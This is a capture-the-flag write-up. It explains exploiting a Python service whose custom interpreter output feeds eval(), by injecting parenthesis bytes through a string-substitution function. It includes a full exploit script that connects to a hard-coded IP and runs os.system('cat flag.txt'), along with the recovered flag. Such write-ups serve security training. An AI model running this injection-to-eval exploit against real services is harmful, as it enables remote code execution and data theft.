# reto1_deploy.zip
Remote port running server.py given the source code.
It takes two inputs from user:
* star
* track
```python
def main():
pre = {0 : 1}
t = 1
for i in xrange(1, 256):
t *= i
pre[i] = t
try:
star = raw_input("Star?\n")
track = raw_input("Track?\n")
code = ""
for i in track.strip().split():
i = int(i)
if not i in pre:
return 1
proc = Processor()
proc.initialize(star + "#(ps,#(cl,Engage,%d))" % i)
proc.run()
o = int(proc.output)
if pre[i] != o:
return 2
code += chr(i)
#print "code = %r" % code
eval(code)
except Exception as e:
print e
pass
```
`track` has to be a list of integers separated by spaces
`star` is a string added at the start of the code given to `Processor()`
`Processor()` its a string interpreter class that parses and executes a string as a custom programming language.
`Processor().initialize(self, program="")` initialize the class with the string to be parsed
`Processor().run()` interprets the string and execute it.
`Processor().output` a string output of the interpreted program.
## Goal
The goal its to create a program using the `star` variable that outputs the factorial of every integer passed to `track` so the checks don't fail and that integer is added as a char to the `code` var that gets executed with `eval(code)`.
The problem is that there is a hardcoded program we can't modify and we can only add more code at the start.
And every integer of `track` gets formated into that hardcoded final part so we can't know what is the current integer to produce the correct output with out `star` program. (and the `star` code remains the same for every integer of `track`).
## Solution
Hardcoded part: `"#(ps,#(cl,Engage,%d))"`
`Processor()` parses the string char by char from left to right and will execute functions when it founds an `)` after it has found a `#(` and the return value gets overwritten there and gets parsed as well.
So if we can inject special chars like `#(,)` in the `Engage` var we can inject code in the hardcoded part so we get the info of the current integer and we can give the correct output.
We can't just do:
`#(ds,Engage,#(mul,2,2))`
Because it would put the return value into Engage instead of the literal function.
We can use the `ss` function to inject whatever byte we want
```python
def ss(self, args):
try:
form_key = args.pop(0)
form = self.forms[form_key]
form_marked = form
for i in range(len(args)):
arg = args[i]
marker = "%s%s" % (SEGMENT_GAP, chr(i))
form_marked = form_marked.replace(arg, marker)
self.forms[form_key] = form_marked
form_list = []
form_list += form_marked
#print "ss: %s" % (form_list)
return ""
except:
return ""
```
As will replace the argument with `\xff\x(arg_number)`
`"#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)"`
So this will replace the a's with a 0x28 byte that its a `)`, by injecting closing parenthesis it allows the following payload:
`"#(ds,1\xff,1)#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)#(ps,#(cl,"`
The injected parentheses closes the `ps` function and the `track` integer its passed to our function `cl` so we can hardcode a variable for every number with his factorial with `ds`.
This input in `star` produces the correct output for any number in `track`
```
#(ds,1�,1)#(ds,2�,2)#(ds,3�,6)#(ds,4�,24)#(ds,5�,120)#(ds,6�,720)#(ds,7�,5040)(...)(ds,Engage,aba)#(ss,Engage,b, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,a)#(ps,#(cl,
```
```python
import socket
def rce(command):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("18.168.149.140",1337))
pre = {0 : 1}
t = 1
hardcode_list = b""
for i in range(1, 256):
t *= i
hardcode_list += "#(ds,%d\xff,%d)" % (i, t)
pre[i] = t
track = " ".join([str(ord(i)) for i in command])
payload = hardcode_list + "#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)#(ps,#(cl,"
print(s.recv(1024))
s.send(payload+"\n")
print(s.recv(1024))
s.send(track+"\n")
print(s.recv(1024))
rce("__import__('os').system('cat flag.txt')")
```
Flag: `flag{star_trac_to_rail_fact}`